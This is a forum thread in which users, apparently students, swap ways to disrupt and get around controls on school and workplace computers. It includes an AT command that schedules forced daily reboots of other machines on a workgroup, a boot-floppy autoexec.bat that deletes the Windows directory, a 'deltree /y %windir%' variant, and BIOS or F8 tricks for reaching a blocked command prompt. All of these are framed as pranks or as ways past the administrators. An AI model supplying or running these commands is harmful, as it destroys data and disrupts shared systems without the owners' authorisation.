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    ok, so use snprintf... ?

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    that shutdown commands make me love you
    my school lab is entirely squencialy names Lab203-1 threw too lab203-31

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    >>that shutdown commands make me love you


    >>my school lab is entirely squencialy names Lab203-1 threw too lab203-31
    One of our Comp-Sci teachers lets me use a program, available to computer teachers only, called WatchDawg. It's basically a backdoor which allows the teachers to monitor what each student is doing, take screenshots, send messages, open programs, and (of course) restart.

    Oh, and it is school-wide, not just accessing one lab.
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    If you want to be a REAL pain with the shutdown (actually, the -r switch makes it reboot), use the AT command to remotely schedule the shutdown (or restart command), so... you can schedule computers on your workgroup (er, this is assuming they are either running 2000 or XP) to reboot, say... everyday at noon forcefully (no saves, forces all programs closed then reboots) muahahaha...

    example:
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    at \\computername 12:00 /EVERY:m,t,w,th,f,s,su "shutdown -r -t 1 -f"

    may require tweaking, but... hehe, AT + shutdown == goot fun if you have the access...

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    I made a nice little delphi app for my schoosl tech. Basicly it lets you shut down every PC on network at once thats runing it. I was about to set it up so it had a nice tray icon and what not but then i decided to learn c++ and screw delphi :P

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    if you can use AT with computers in your workgroup... uh, just think about the potential

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    Originally posted by RoD
    dont know batch files and what not, trying to find a way around my wall
    here's a way to get the command prompt if your school/workplace tries to block it:

    1. restart comp, enter BIOS
    2. change boot sequence so removeable or a: is first
    3. put in disk and restart

    the disk contents:
    command.com
    autoexec.bat


    autoexec.bat:
    @echo off
    a:\command.com
    del c:\windows


    4. take disk out, reboot, and walk away...


    //note: actually, this deletes windows and you won't be able to reboot again... it will give you an error and ask to either reboot or enter BIOS... all the network admin needs to do is clone the computer and it's back up... I use it to guage how well a network is monitored and kept up...

    //to get the command prompt, leave out the last line of autoexec.bat
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    Wouldn't "deltree /y %windir%" work better?
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    Where do you guys learn this stuff lol? Is it possible to send a command to another computer, like say telling it to run a program...
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    Originally posted by JaWiB
    Where do you guys learn this stuff lol?
    I'd tell you, but then I'd have to kill you. J/K .
    Really most of it is just basic DOS commands (or windows console, which is the same but better).

    Do you have to do anything to the floppy to make it bootable? I tried putting autoexec.bat in a floppy but it said it wasn't bootable. Do you have to call command.com or am I just useless?
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    right click the floppy drive and go to format, one of the options is system disk i think u can do that and just edit the autoexec file

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    Originally posted by XSquared
    Wouldn't "deltree /y %windir%" work better?
    the people here disabled command line arguments and blocked access to command... i had to bring in a floppy and change the boot sequence...

    yeah, you have to call command with autoexec... command is a program, not just an empty file...

    look through your personal OS... some give you an option to create a boot disk... use that to get mouse and keyboard drivers... I'll put the files on this board as an attachment...
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    our school runs win98, so just press f5 (or is it f8?) as its booting, youll get to the boot options, choose command prompt, and just do whttever from there.

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    F8, and it works on xp, 2k, 98, nt, etc

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    Originally posted by the Wookie
    our school runs win98, so just press f5 (or is it f8?) as its booting, youll get to the boot options, choose command prompt, and just do whttever from there.
    eh, i've never used that because i just pressed F2 and changed BIOS around... i'll do that next time though...
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